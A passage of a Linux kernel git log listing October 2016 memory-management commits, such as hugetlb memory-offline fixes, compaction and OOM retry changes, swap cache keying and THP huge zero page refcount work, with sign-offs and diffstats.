http://lkml.kernel.org/r/1474309513-20313-1-git-send-email-aarcange@redhat.com Signed-off-by: Andrea Arcangeli Reported-by: Aditya Mandaleeka Cc: Rik van Riel Cc: Hugh Dickins Cc: Mel Gorman Cc: Jan Vorlicek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/mm.h | 10 +++- mm/mmap.c | 157 ++++++++++++++++++++++++++++++++++++++++++++--------- mm/mprotect.c | 1 + 3 files changed, 139 insertions(+), 29 deletions(-) commit fb8c41e9ad1f356b06b46a63ada10b7dce2a5d94 Author: Andrea Arcangeli Date: Fri Oct 7 17:01:25 2016 -0700 mm: vma_adjust: remove superfluous confusing update in remove_next == 1 case mm->highest_vm_end doesn't need any update. After finally removing the oddness from vma_merge case 8 that was causing: 1) constant risk of trouble whenever anybody would check vma fields from rmap_walks, like it happened when page migration was introduced and it read the vma->vm_page_prot from a rmap_walk 2) the callers of vma_merge to re-initialize any value different from the current vma, instead of vma_merge() more reliably returning a vma that already matches all fields passed as parameter .. it is also worth to take the opportunity of cleaning up superfluous code in vma_adjust(), that if not removed adds up to the hard readability of the function. Link: http://lkml.kernel.org/r/1474492522-2261-5-git-send-email-aarcange@redhat.com Signed-off-by: Andrea Arcangeli Cc: Rik van Riel Cc: Hugh Dickins Cc: Mel Gorman Cc: Jan Vorlicek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/mmap.c | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) commit 6d2329f8872f23e46a19d240930571510ce525eb Author: Andrea Arcangeli Date: Fri Oct 7 17:01:22 2016 -0700 mm: vm_page_prot: update with WRITE_ONCE/READ_ONCE vma->vm_page_prot is read lockless from the rmap_walk, it may be updated concurrently and this prevents the risk of reading intermediate values. Link: http://lkml.kernel.org/r/1474660305-19222-1-git-send-email-aarcange@redhat.com Signed-off-by: Andrea Arcangeli Cc: Rik van Riel Cc: Hugh Dickins Cc: Mel Gorman Cc: Jan Vorlicek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/mm.h | 2 +- mm/huge_memory.c | 2 +- mm/migrate.c | 2 +- mm/mmap.c | 16 +++++++++------- mm/mprotect.c | 2 +- 5 files changed, 13 insertions(+), 11 deletions(-) commit 6213055f2c068b63078649457391ecea9b489ea3 Author: zhong jiang Date: Fri Oct 7 17:01:19 2016 -0700 mm,ksm: add __GFP_HIGH to the allocation in alloc_stable_node() According to Hugh's suggestion, alloc_stable_node() with GFP_KERNEL can in rare cases cause a hung task warning. At present, if alloc_stable_node() allocation fails, two break_cows may want to allocate a couple of pages, and the issue will come up when free memory is under pressure. We fix it by adding __GFP_HIGH to GFP, to grant access to memory reserves, increasing the likelihood of allocation success. [akpm@linux-foundation.org: tweak comment] Link: http://lkml.kernel.org/r/1474354484-58233-1-git-send-email-zhongjiang@huawei.com Signed-off-by: zhong jiang Suggested-by: Hugh Dickins Acked-by: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/ksm.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit ac34dcd263a3afe9a2e4d58a2d93bb66d700ac7c Author: Yisheng Xie Date: Fri Oct 7 17:01:16 2016 -0700 mm/page_isolation: fix typo: "paes" -> "pages" Fix typo in comment. Link: http://lkml.kernel.org/r/1474788764-5774-1-git-send-email-ysxie@foxmail.com Signed-off-by: Yisheng Xie Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_isolation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eb03aa008561004257900983193d024e57abdd96 Author: Gerald Schaefer Date: Fri Oct 7 17:01:13 2016 -0700 mm/hugetlb: improve locking in dissolve_free_huge_pages() For every pfn aligned to minimum_order, dissolve_free_huge_pages() will call dissolve_free_huge_page() which takes the hugetlb spinlock, even if the page is not huge at all or a hugepage that is in-use. Improve this by doing the PageHuge() and page_count() checks already in dissolve_free_huge_pages() before calling dissolve_free_huge_page(). In dissolve_free_huge_page(), when holding the spinlock, those checks need to be revalidated. Link: http://lkml.kernel.org/r/20160926172811.94033-4-gerald.schaefer@de.ibm.com Signed-off-by: Gerald Schaefer Acked-by: Michal Hocko Acked-by: Naoya Horiguchi Cc: "Kirill A . Shutemov" Cc: Vlastimil Babka Cc: Mike Kravetz Cc: "Aneesh Kumar K . V" Cc: Martin Schwidefsky Cc: Heiko Carstens Cc: Rui Teng Cc: Dave Hansen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/hugetlb.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit 082d5b6b60e9f25e1511557fcfcb21eedd267446 Author: Gerald Schaefer Date: Fri Oct 7 17:01:10 2016 -0700 mm/hugetlb: check for reserved hugepages during memory offline In dissolve_free_huge_pages(), free hugepages will be dissolved without making sure that there are enough of them left to satisfy hugepage reservations. Fix this by adding a return value to dissolve_free_huge_pages() and checking h->free_huge_pages vs. h->resv_huge_pages. Note that this may lead to the situation where dissolve_free_huge_page() returns an error and all free hugepages that were dissolved before that error are lost, while the memory block still cannot be set offline. Fixes: c8721bbb ("mm: memory-hotplug: enable memory hotplug to handle hugepage") Link: http://lkml.kernel.org/r/20160926172811.94033-3-gerald.schaefer@de.ibm.com Signed-off-by: Gerald Schaefer Acked-by: Michal Hocko Acked-by: Naoya Horiguchi Cc: "Kirill A . Shutemov" Cc: Vlastimil Babka Cc: Mike Kravetz Cc: "Aneesh Kumar K . V" Cc: Martin Schwidefsky Cc: Heiko Carstens Cc: Rui Teng Cc: Dave Hansen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/hugetlb.h | 6 +++--- mm/hugetlb.c | 26 +++++++++++++++++++++----- mm/memory_hotplug.c | 4 +++- 3 files changed, 27 insertions(+), 9 deletions(-) commit 2247bb335ab9c40058484cac36ea74ee652f3b7b Author: Gerald Schaefer Date: Fri Oct 7 17:01:07 2016 -0700 mm/hugetlb: fix memory offline with hugepage size > memory block size Patch series "mm/hugetlb: memory offline issues with hugepages", v4. This addresses several issues with hugepages and memory offline. While the first patch fixes a panic, and is therefore rather important, the last patch is just a performance optimization. The second patch fixes a theoretical issue with reserved hugepages, while still leaving some ugly usability issue, see description. This patch (of 3): dissolve_free_huge_pages() will either run into the VM_BUG_ON() or a list corruption and addressing exception when trying to set a memory block offline that is part (but not the first part) of a "gigantic" hugetlb page with a size > memory block size. When no other smaller hugetlb page sizes are present, the VM_BUG_ON() will trigger directly. In the other case we will run into an addressing exception later, because dissolve_free_huge_page() will not work on the head page of the compound hugetlb page which will result in a NULL hstate from page_hstate(). To fix this, first remove the VM_BUG_ON() because it is wrong, and then use the compound head page in dissolve_free_huge_page(). This means that an unused pre-allocated gigantic page that has any part of itself inside the memory block that is going offline will be dissolved completely. Losing an unused gigantic hugepage is preferable to failing the memory offline, for example in the situation where a (possibly faulty) memory DIMM needs to go offline. Fixes: c8721bbb ("mm: memory-hotplug: enable memory hotplug to handle hugepage") Link: http://lkml.kernel.org/r/20160926172811.94033-2-gerald.schaefer@de.ibm.com Signed-off-by: Gerald Schaefer Acked-by: Michal Hocko Acked-by: Naoya Horiguchi Cc: "Kirill A . Shutemov" Cc: Vlastimil Babka Cc: Mike Kravetz Cc: "Aneesh Kumar K . V" Cc: Martin Schwidefsky Cc: Heiko Carstens Cc: Rui Teng Cc: Dave Hansen Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/hugetlb.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 914a051654c5401cb216a939e214e17ec018b6a9 Author: Wanlong Gao Date: Fri Oct 7 17:01:04 2016 -0700 mm: nobootmem: move the comment of free_all_bootmem Commit b4def3509d18 ("mm, nobootmem: clean-up of free_low_memory_core_early()") removed the unnecessary nodeid argument, after that, this comment becomes more confused. We should move it to the right place. Fixes: b4def3509d18c1db9 ("mm, nobootmem: clean-up of free_low_memory_core_early()") Link: http://lkml.kernel.org/r/1473996082-14603-1-git-send-email-wanlong.gao@gmail.com Signed-off-by: Wanlong Gao Cc: Joonsoo Kim Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/nobootmem.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 19938e350adc60f3b9381ae6fc68da40f7d1a9f6 Author: Rasmus Villemoes Date: Fri Oct 7 17:01:01 2016 -0700 mm/shmem.c: constify anon_ops Every other dentry_operations instance is const, and this one might as well be. Link: http://lkml.kernel.org/r/1473890528-7009-1-git-send-email-linux@rasmusvillemoes.dk Signed-off-by: Rasmus Villemoes Acked-by: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/shmem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2d75807383459c04d457bf2d295fa6ad858507d2 Author: Johannes Weiner Date: Fri Oct 7 17:00:58 2016 -0700 mm: memcontrol: consolidate cgroup socket tracking The cgroup core and the memory controller need to track socket ownership for different purposes, but the tracking sites being entirely different is kind of ugly. Be a better citizen and rename the memory controller callbacks to match the cgroup core callbacks, then move them to the same place. [akpm@linux-foundation.org: coding-style fixes] Link: http://lkml.kernel.org/r/20160914194846.11153-3-hannes@cmpxchg.org Signed-off-by: Johannes Weiner Acked-by: Tejun Heo Cc: "David S. Miller" Cc: Michal Hocko Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/memcontrol.h | 6 ++++-- mm/memcontrol.c | 23 +++++++++++++---------- net/core/sock.c | 6 +++--- net/ipv4/tcp.c | 2 -- net/ipv4/tcp_ipv4.c | 3 --- 5 files changed, 20 insertions(+), 20 deletions(-) commit 08ea8c07fb56d6eb8194d8ad408b469544bf2c29 Author: Baoyou Xie Date: Fri Oct 7 17:00:55 2016 -0700 mm: move phys_mem_access_prot_allowed() declaration to pgtable.h We get 1 warning when building kernel with W=1: drivers/char/mem.c:220:12: warning: no previous prototype for 'phys_mem_access_prot_allowed' [-Wmissing-prototypes] int __weak phys_mem_access_prot_allowed(struct file *file, In fact, its declaration is spreading to several header files in different architecture, but need to be declare in common header file. So this patch moves phys_mem_access_prot_allowed() to pgtable.h. Link: http://lkml.kernel.org/r/1473751597-12139-1-git-send-email-baoyou.xie@linaro.org Signed-off-by: Baoyou Xie Acked-by: Thomas Gleixner Acked-by: Ralf Baechle Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/mips/include/asm/pgtable.h | 2 -- arch/x86/include/asm/pgtable_types.h | 2 -- include/asm-generic/pgtable.h | 3 +++ 3 files changed, 3 insertions(+), 4 deletions(-) commit cc30c5d6461a2813406f7f84d581643781922a82 Author: Andrew Morton Date: Fri Oct 7 17:00:52 2016 -0700 mm/page_io.c: replace some BUG_ON()s with VM_BUG_ON_PAGE() So they are CONFIG_DEBUG_VM-only and more informative. Cc: Al Viro Cc: David S. Miller Cc: Hugh Dickins Cc: Jens Axboe Cc: Joe Perches Cc: Mel Gorman Cc: Michal Hocko Cc: Peter Zijlstra Cc: Rik van Riel Cc: Santosh Shilimkar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_io.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit a104808e212a9ee97e6b9cb6945185e50905f009 Author: Tetsuo Handa Date: Fri Oct 7 17:00:49 2016 -0700 mm: don't emit warning from pagefault_out_of_memory() Commit c32b3cbe0d06 ("oom, PM: make OOM detection in the freezer path raceless") inserted a WARN_ON() into pagefault_out_of_memory() in order to warn when we raced with disabling the OOM killer. Now, patch "oom, suspend: fix oom_killer_disable vs. pm suspend properly" introduced a timeout for oom_killer_disable(). Even if we raced with disabling the OOM killer and the system is OOM livelocked, the OOM killer will be enabled eventually (in 20 seconds by default) and the OOM livelock will be solved. Therefore, we no longer need to warn when we raced with disabling the OOM killer. Link: http://lkml.kernel.org/r/1473442120-7246-1-git-send-email-penguin-kernel@I-love.SAKURA.ne.jp Signed-off-by: Tetsuo Handa Acked-by: Michal Hocko Cc: David Rientjes Cc: Johannes Weiner Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/oom_kill.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit 20311420282f3402888f1d9b8b80d924d491aadf Author: Vlastimil Babka Date: Fri Oct 7 17:00:46 2016 -0700 mm, compaction: restrict fragindex to costly orders Fragmentation index and the vm.extfrag_threshold sysctl is meant as a heuristic to prevent excessive compaction for costly orders (i.e. THP). It's unlikely to make any difference for non-costly orders, especially with the default threshold. But we cannot afford any uncertainty for the non-costly orders where the only alternative to successful reclaim/compaction is OOM. After the recent patches we are guaranteed maximum effort without heuristics from compaction before deciding OOM, and fragindex is the last remaining heuristic. Therefore skip fragindex altogether for non-costly orders. Suggested-by: Michal Hocko Link: http://lkml.kernel.org/r/20160926162025.21555-5-vbabka@suse.cz Signed-off-by: Vlastimil Babka Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/compaction.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit cc5c9f098fe48a8736add8a23c983524ca16cea5 Author: Vlastimil Babka Date: Fri Oct 7 17:00:43 2016 -0700 mm, compaction: ignore fragindex from compaction_zonelist_suitable() The compaction_zonelist_suitable() function tries to determine if compaction will be able to proceed after sufficient reclaim, i.e. whether there are enough reclaimable pages to provide enough order-0 freepages for compaction. This addition of reclaimable pages to the free pages works well for the order-0 watermark check, but in the fragmentation index check we only consider truly free pages. Thus we can get fragindex value close to 0 which indicates failure do to lack of memory, and wrongly decide that compaction won't be suitable even after reclaim. Instead of trying to somehow adjust fragindex for reclaimable pages, let's just skip it from compaction_zonelist_suitable(). Link: http://lkml.kernel.org/r/20160926162025.21555-4-vbabka@suse.cz Signed-off-by: Vlastimil Babka Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/compaction.c | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) commit 423b452e1553e3d19b632880bf2adf1f058ab267 Author: Vlastimil Babka Date: Fri Oct 7 17:00:40 2016 -0700 mm, page_alloc: pull no_progress_loops update to should_reclaim_retry() The should_reclaim_retry() makes decisions based on no_progress_loops, so it makes sense to also update the counter there. It will be also consistent with should_compact_retry() and compaction_retries. No functional change. [hillf.zj@alibaba-inc.com: fix missing pointer dereferences] Link: http://lkml.kernel.org/r/20160926162025.21555-3-vbabka@suse.cz Signed-off-by: Vlastimil Babka Acked-by: Hillf Danton Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) commit 9f7e3387939b036faacf4e7f32de7bb92a6635d6 Author: Vlastimil Babka Date: Fri Oct 7 17:00:37 2016 -0700 mm, compaction: make full priority ignore pageblock suitability Several people have reported premature OOMs for order-2 allocations (stack) due to OOM rework in 4.7. In the scenario (parallel kernel build and dd writing to two drives) many pageblocks get marked as Unmovable and compaction free scanner struggles to isolate free pages. Joonsoo Kim pointed out that the free scanner skips pageblocks that are not movable to prevent filling them and forcing non-movable allocations to fallback to other pageblocks. Such heuristic makes sense to help prevent long-term fragmentation, but premature OOMs are relatively more urgent problem. As a compromise, this patch disables the heuristic only for the ultimate compaction priority. Link: http://lkml.kernel.org/r/20160906135258.18335-5-vbabka@suse.cz Reported-by: Ralf-Peter Rohbeck Reported-by: Arkadiusz Miskiewicz Reported-by: Olaf Hering Suggested-by: Joonsoo Kim Signed-off-by: Vlastimil Babka Acked-by: Michal Hocko Cc: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Cc: Tetsuo Handa Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/compaction.c | 11 ++++++++--- mm/internal.h | 1 + 2 files changed, 9 insertions(+), 3 deletions(-) commit c2033b00dbe856909fcaccf038e4e0d3dcfb85af Author: Vlastimil Babka Date: Fri Oct 7 17:00:34 2016 -0700 mm, compaction: restrict full priority to non-costly orders The new ultimate compaction priority disables some heuristics, which may result in excessive cost. This is fine for non-costly orders where we want to try hard before resulting for OOM, but might be disruptive for costly orders which do not trigger OOM and should generally have some fallback. Thus, we disable the full priority for costly orders. Suggested-by: Michal Hocko Link: http://lkml.kernel.org/r/20160906135258.18335-4-vbabka@suse.cz Signed-off-by: Vlastimil Babka Cc: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Cc: Tetsuo Handa Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/compaction.h | 1 + mm/page_alloc.c | 5 ++++- 2 files changed, 5 insertions(+), 1 deletion(-) commit d943649831aba0fcdda37a0e9e25b332a634cf5e Author: Vlastimil Babka Date: Fri Oct 7 17:00:31 2016 -0700 mm, compaction: more reliably increase direct compaction priority During reclaim/compaction loop, compaction priority can be increased by the should_compact_retry() function, but the current code is not optimal. Priority is only increased when compaction_failed() is true, which means that compaction has scanned the whole zone. This may not happen even after multiple attempts with a lower priority due to parallel activity, so we might needlessly struggle on the lower priorities and possibly run out of compaction retry attempts in the process. After this patch we are guaranteed at least one attempt at the highest compaction priority even if we exhaust all retries at the lower priorities. Link: http://lkml.kernel.org/r/20160906135258.18335-3-vbabka@suse.cz Signed-off-by: Vlastimil Babka Cc: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Cc: Tetsuo Handa Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-) commit 3250845d0526407330592dd43b9f1354b6fe7a14 Author: Vlastimil Babka Date: Fri Oct 7 17:00:28 2016 -0700 Revert "mm, oom: prevent premature OOM killer invocation for high order request" Patch series "reintroduce compaction feedback for OOM decisions". After several people reported OOM's for order-2 allocations in 4.7 due to Michal Hocko's OOM rework, he reverted the part that considered compaction feedback [1] in the decisions to retry reclaim/compaction. This was to provide a fix quickly for 4.8 rc and 4.7 stable series, while mmotm had an almost complete solution that instead improved compaction reliability. This series completes the mmotm solution and reintroduces the compaction feedback into OOM decisions. The first two patches restore the state of mmotm before the temporary solution was merged, the last patch should be the missing piece for reliability. The third patch restricts the hardened compaction to non-costly orders, since costly orders don't result in OOMs in the first place. [1] http://marc.info/?i=20160822093249.GA14916%40dhcp22.suse.cz%3E This patch (of 4): Commit 6b4e3181d7bd ("mm, oom: prevent premature OOM killer invocation for high order request") was intended as a quick fix of OOM regressions for 4.8 and stable 4.7.x kernels. For a better long-term solution, we still want to consider compaction feedback, which should be possible after some more improvements in the following patches. This reverts commit 6b4e3181d7bd5ca5ab6f45929e4a5ffa7ab4ab7f. Link: http://lkml.kernel.org/r/20160906135258.18335-2-vbabka@suse.cz Signed-off-by: Vlastimil Babka Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Cc: Tetsuo Handa Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 49 insertions(+), 2 deletions(-) commit 8cd797887ae0a73313ba248e027e59c0a597d693 Author: Huang Ying Date: Fri Oct 7 17:00:24 2016 -0700 mm: remove page_file_index After using the offset of the swap entry as the key of the swap cache, the page_index() becomes exactly same as page_file_index(). So the page_file_index() is removed and the callers are changed to use page_index() instead. Link: http://lkml.kernel.org/r/1473270649-27229-2-git-send-email-ying.huang@intel.com Signed-off-by: "Huang, Ying" Cc: Trond Myklebust Cc: Anna Schumaker Cc: "Kirill A. Shutemov" Cc: Michal Hocko Cc: Dave Hansen Cc: Johannes Weiner Cc: Dan Williams Cc: Joonsoo Kim Cc: Ross Zwisler Cc: Eric Dumazet Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/nfs/internal.h | 6 +++--- fs/nfs/pagelist.c | 2 +- fs/nfs/read.c | 2 +- fs/nfs/write.c | 4 ++-- include/linux/mm.h | 12 ------------ include/linux/pagemap.h | 2 +- 6 files changed, 8 insertions(+), 20 deletions(-) commit f6ab1f7f6b2d8e48c5fc47746a67363b20d79a1d Author: Huang Ying Date: Fri Oct 7 17:00:21 2016 -0700 mm, swap: use offset of swap entry as key of swap cache This patch is to improve the performance of swap cache operations when the type of the swap device is not 0. Originally, the whole swap entry value is used as the key of the swap cache, even though there is one radix tree for each swap device. If the type of the swap device is not 0, the height of the radix tree of the swap cache will be increased unnecessary, especially on 64bit architecture. For example, for a 1GB swap device on the x86_64 architecture, the height of the radix tree of the swap cache is 11. But if the offset of the swap entry is used as the key of the swap cache, the height of the radix tree of the swap cache is 4. The increased height causes unnecessary radix tree descending and increased cache footprint. This patch reduces the height of the radix tree of the swap cache via using the offset of the swap entry instead of the whole swap entry value as the key of the swap cache. In 32 processes sequential swap out test case on a Xeon E5 v3 system with RAM disk as swap, the lock contention for the spinlock of the swap cache is reduced from 20.15% to 12.19%, when the type of the swap device is 1. Use the whole swap entry as key, perf-profile.calltrace.cycles-pp._raw_spin_lock_irq.__add_to_swap_cache.add_to_swap_cache.add_to_swap.shrink_page_list: 10.37, perf-profile.calltrace.cycles-pp._raw_spin_lock_irqsave.__remove_mapping.shrink_page_list.shrink_inactive_list.shrink_node_memcg: 9.78, Use the swap offset as key, perf-profile.calltrace.cycles-pp._raw_spin_lock_irq.__add_to_swap_cache.add_to_swap_cache.add_to_swap.shrink_page_list: 6.25, perf-profile.calltrace.cycles-pp._raw_spin_lock_irqsave.__remove_mapping.shrink_page_list.shrink_inactive_list.shrink_node_memcg: 5.94, Link: http://lkml.kernel.org/r/1473270649-27229-1-git-send-email-ying.huang@intel.com Signed-off-by: "Huang, Ying" Cc: Johannes Weiner Cc: Michal Hocko Cc: Vladimir Davydov Cc: "Kirill A. Shutemov" Cc: Dave Hansen Cc: Dan Williams Cc: Joonsoo Kim Cc: Hugh Dickins Cc: Mel Gorman Cc: Minchan Kim Cc: Aaron Lu Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/mm.h | 8 ++++---- mm/memcontrol.c | 5 +++-- mm/mincore.c | 5 +++-- mm/swap_state.c | 8 ++++---- mm/swapfile.c | 4 ++-- 5 files changed, 16 insertions(+), 14 deletions(-) commit 87744ab3832b83ba71b931f86f9cfdb000d07da5 Author: Dan Williams Date: Fri Oct 7 17:00:18 2016 -0700 mm: fix cache mode tracking in vm_insert_mixed() vm_insert_mixed() unlike vm_insert_pfn_prot() and vmf_insert_pfn_pmd(), fails to check the pgprot_t it uses for the mapping against the one recorded in the memtype tracking tree. Add the missing call to track_pfn_insert() to preclude cases where incompatible aliased mappings are established for a given physical address range. Link: http://lkml.kernel.org/r/147328717909.35069.14256589123570653697.stgit@dwillia2-desk3.amr.corp.intel.com Signed-off-by: Dan Williams Cc: David Airlie Cc: Matthew Wilcox Cc: Ross Zwisler Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/memory.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit d66ba15bde22703b3c0cec6782519cb0765a6777 Author: Reza Arbab Date: Fri Oct 7 17:00:15 2016 -0700 memory-hotplug: fix store_mem_state() return value If store_mem_state() is called to online memory which is already online, it will return 1, the value it got from device_online(). This is wrong because store_mem_state() is a device_attribute .store function. Thus a non-negative return value represents input bytes read. Set the return value to -EINVAL in this case. Link: http://lkml.kernel.org/r/1472743777-24266-1-git-send-email-arbab@linux.vnet.ibm.com Signed-off-by: Reza Arbab Cc: Greg Kroah-Hartman Cc: Vlastimil Babka Cc: Vitaly Kuznetsov Cc: David Rientjes Cc: Yaowei Bai Cc: Joonsoo Kim Cc: Dan Williams Cc: Xishi Qiu Cc: David Vrabel Cc: Chen Yucong Cc: Andrew Banman Cc: Seth Jennings Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/base/memory.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 0247f3f4d78a475cd3181dc9fc162fdef773aaaa Author: James Morse Date: Fri Oct 7 17:00:12 2016 -0700 mm/memcontrol.c: make the walk_page_range() limit obvious mem_cgroup_count_precharge() and mem_cgroup_move_charge() both call walk_page_range() on the range 0 to ~0UL, neither provide a pte_hole callback, which causes the current implementation to skip non-vma regions. This is all fine but follow up changes would like to make walk_page_range more generic so it is better to be explicit about which range to traverse so let's use highest_vm_end to explicitly traverse only user mmaped memory. [mhocko@kernel.org: rewrote changelog] Link: http://lkml.kernel.org/r/1472655897-22532-1-git-send-email-james.morse@arm.com Signed-off-by: James Morse Acked-by: Naoya Horiguchi Cc: Johannes Weiner Cc: Michal Hocko Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/memcontrol.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 6fcb52a56ff60d240f06296b12827e7f20d45f63 Author: Aaron Lu Date: Fri Oct 7 17:00:08 2016 -0700 thp: reduce usage of huge zero page's atomic counter The global zero page is used to satisfy an anonymous read fault. If THP(Transparent HugePage) is enabled then the global huge zero page is used. The global huge zero page uses an atomic counter for reference counting and is allocated/freed dynamically according to its counter value. CPU time spent on that counter will greatly increase if there are a lot of processes doing anonymous read faults. This patch proposes a way to reduce the access to the global counter so that the CPU load can be reduced accordingly. To do this, a new flag of the mm_struct is introduced: MMF_USED_HUGE_ZERO_PAGE. With this flag, the process only need to touch the global counter in two cases: 1 The first time it uses the global huge zero page; 2 The time when mm_user of its mm_struct reaches zero. Note that right now, the huge zero page is eligible to be freed as soon as its last use goes away. With this patch, the page will not be eligible to be freed until the exit of the last process from which it was ever used. And with the use of mm_user, the kthread is not eligible to use huge zero page either. Since no kthread is using huge zero page today, there is no difference after applying this patch. But if that is not desired, I can change it to when mm_count reaches zero. Case used for test on Haswell EP: usemem -n 72 --readonly -j 0x200000 100G Which spawns 72 processes and each will mmap 100G anonymous space and then do read only access to that space sequentially with a step of 2MB. CPU cycles from perf report for base commit: 54.03% usemem [kernel.kallsyms] [k] get_huge_zero_page CPU cycles from perf report for this commit: 0.11% usemem [kernel.kallsyms] [k] mm_get_huge_zero_page Performance(throughput) of the workload for base commit: 1784430792 Performance(throughput) of the workload for this commit: 4726928591 164% increase. Runtime of the workload for base commit: 707592 us Runtime of the workload for this commit: 303970 us 50% drop. Link: http://lkml.kernel.org/r/fe51a88f-446a-4622-1363-ad1282d71385@intel.com Signed-off-by: Aaron Lu Cc: Sergey Senozhatsky Cc: "Kirill A. Shutemov" Cc: Dave Hansen Cc: Tim Chen Cc: Huang Ying Cc: Vlastimil Babka Cc: Jerome Marchand Cc: Andrea Arcangeli Cc: Mel Gorman Cc: Ebru Akagunduz Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/dax.c | 2 +- include/linux/huge_mm.h | 8 ++++---- include/linux/sched.h | 1 + kernel/fork.c | 1 + mm/huge_memory.c | 36 +++++++++++++++++++++++++----------- mm/swap.c | 4 +--- mm/swap_state.c | 4 +--- 7 files changed, 34 insertions(+), 22 deletions(-) commit 0f30206bf2a42e278c2cec32e4b722626458c75b Author: James Morse Date: Fri Oct 7 17:00:06 2016 -0700 fs/proc/task_mmu.c: make the task_mmu walk_page_range() limit in clear_refs_write() obvious Trying to walk all of virtual memory requires architecture specific knowledge. On x86_64, addresses must be sign extended from bit 48, whereas on arm64 the top VA_BITS of address space have their own set of page tables. clear_refs_write() calls walk_page_range() on the range 0 to ~0UL, it provides a test_walk() callback that only expects to be walking over VMAs. Currently walk_pmd_range() will skip memory regions that don't have a VMA, reporting them as a hole. As this call only expects to walk user address space, make it walk 0 to 'highest_vm_end'. Link: http://lkml.kernel.org/r/1472655792-22439-1-git-send-email-james.morse@arm.com Signed-off-by: James Morse Acked-by: Naoya Horiguchi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/task_mmu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 03e86dba5b628a13a58adae62e5b918b969ae93e Author: Tim Chen Date: Fri Oct 7 17:00:02 2016 -0700 cpu: fix node state for whether it contains CPU In current kernel code, we only call node_set_state(cpu_to_node(cpu), N_CPU) when a cpu is hot plugged. But we do not set the node state for N_CPU when the cpus are brought online during boot. So this could lead to failure when we check to see if a node contains cpu with node_state(node_id, N_CPU). One use case is in the node_reclaime function: /* * Only run node reclaim on the local node or on nodes that do * not * have associated processors. This will favor the local * processor * over remote processors and spread off node memory allocations * as wide as possible. */ if (node_state(pgdat->node_id, N_CPU) && pgdat->node_id != numa_node_id()) return NODE_RECLAIM_NOSCAN; I instrumented the kernel to call this function after boot and it always returns 0 on a x86 desktop machine until I apply the attached patch. int num_cpu_node(void) { int i, nr_cpu_nodes = 0; for_each_node(i) { if (node_state(i, N_CPU)) ++ nr_cpu_nodes; } return nr_cpu_nodes; } Fix this by checking each node for online CPU when we initialize vmstat that's responsible for maintaining node state. Link: http://lkml.kernel.org/r/20160829175922.GA21775@linux.intel.com Signed-off-by: Tim Chen Acked-by: David Rientjes Cc: Ingo Molnar Cc: "H. Peter Anvin" Cc: Peter Zijlstra Cc: Tim Chen Cc: Cc: Ying Cc: Andi Kleen Cc: Dave Hansen Cc: Dan Williams Cc: "Rafael J. Wysocki" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/vmstat.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 